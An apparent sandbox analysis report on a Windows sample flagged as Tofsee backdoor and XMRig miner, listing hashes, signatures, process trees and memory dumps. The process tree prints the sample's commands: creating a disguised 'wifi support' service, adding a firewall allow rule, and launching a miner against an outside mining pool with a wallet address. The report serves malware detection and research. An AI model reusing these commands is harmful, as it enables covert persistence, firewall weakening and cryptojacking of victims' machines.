Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    15-05-2021 13:42

General

  • Target

    d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4.exe

  • Size

    13.0MB

  • MD5

    07a4e47d317dbe960d717d67c7e6d2f6

  • SHA1

    8428524c3ae90d10f27ad4a0460ae0176756511d

  • SHA256

    d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4

  • SHA512

    1533b2db06d7bff3db4d9d13012d4f11e86ee455248c178768297a8f6aa55cdf360362ed3d97b923196df8e86b7ebc7598d27ea7813b6e8456a9b9491224b2a7

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4.exe
    "C:\Users\Admin\AppData\Local\Temp\d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3872
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lfxeibvb\
      2⤵
        PID:2600
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ikfwnhoh.exe" C:\Windows\SysWOW64\lfxeibvb\
        2⤵
          PID:2564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lfxeibvb binPath= "C:\Windows\SysWOW64\lfxeibvb\ikfwnhoh.exe /d\"C:\Users\Admin\AppData\Local\Temp\d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:4024
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lfxeibvb "wifi internet conection"
            2⤵
              PID:2696
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lfxeibvb
              2⤵
                PID:2208
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1828
              • C:\Windows\SysWOW64\lfxeibvb\ikfwnhoh.exe
                C:\Windows\SysWOW64\lfxeibvb\ikfwnhoh.exe /d"C:\Users\Admin\AppData\Local\Temp\d1a7ff24774fded989d0bf2d47ceff53451b38c1d61a4393463f7dcf4c87d7b4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2540
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3896
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o masari.miner.rocks:30162 -u 9rqX2BQ6Z4teAkaSqGBWvPZEM7bAtidewXXjYz86pVgKUQqDHeUqjy55fXt2fJAaJkPBteXWhptFqJVSr132QxsSSGfMCgw.50000 -p w=a -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1004

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ikfwnhoh.exe
                MD5

                a8d5cbeb02f14b89a19c4e7b3c668942

                SHA1

                1becce11cd63ddb67ce9dd9af198a3f45351a780

                SHA256

                327518c8b55a770e0454db89b7d5cf2661b8126ba519962b1bbe61f355b6c821

                SHA512

                48f6ebfb35773545284af7cb143f0a240f6413fae8c046e780abd19bd579b38f72749e083c86e90347f44317189d0f4269d1aa136221f4187999fa960fd9bfd1

              • C:\Windows\SysWOW64\lfxeibvb\ikfwnhoh.exe
                MD5

                a8d5cbeb02f14b89a19c4e7b3c668942

                SHA1

                1becce11cd63ddb67ce9dd9af198a3f45351a780

                SHA256

                327518c8b55a770e0454db89b7d5cf2661b8126ba519962b1bbe61f355b6c821

                SHA512

                48f6ebfb35773545284af7cb143f0a240f6413fae8c046e780abd19bd579b38f72749e083c86e90347f44317189d0f4269d1aa136221f4187999fa960fd9bfd1

              • memory/1004-143-0x0000000000800000-0x00000000008F1000-memory.dmp
                Filesize

                964KB

              • memory/1004-138-0x0000000000800000-0x00000000008F1000-memory.dmp
                Filesize

                964KB

              • memory/1004-142-0x000000000089259C-mapping.dmp
              • memory/1828-129-0x0000000000000000-mapping.dmp
              • memory/2208-122-0x0000000000000000-mapping.dmp
              • memory/2540-131-0x0000000000480000-0x0000000000481000-memory.dmp
                Filesize

                4KB

              • memory/2540-130-0x0000000000470000-0x0000000000471000-memory.dmp
                Filesize

                4KB

              • memory/2564-118-0x0000000000000000-mapping.dmp
              • memory/2600-117-0x0000000000000000-mapping.dmp
              • memory/2696-121-0x0000000000000000-mapping.dmp
              • memory/3872-116-0x0000000000420000-0x000000000056A000-memory.dmp
                Filesize

                1.3MB

              • memory/3872-115-0x0000000000420000-0x000000000056A000-memory.dmp
                Filesize

                1.3MB

              • memory/3872-114-0x0000000000400000-0x000000000041C000-memory.dmp
                Filesize

                112KB

              • memory/3896-126-0x0000000000349A6B-mapping.dmp
              • memory/3896-135-0x0000000000680000-0x0000000000686000-memory.dmp
                Filesize

                24KB

              • memory/3896-133-0x0000000004460000-0x000000000466F000-memory.dmp
                Filesize

                2.1MB

              • memory/3896-125-0x0000000000340000-0x0000000000355000-memory.dmp
                Filesize

                84KB

              • memory/4024-120-0x0000000000000000-mapping.dmp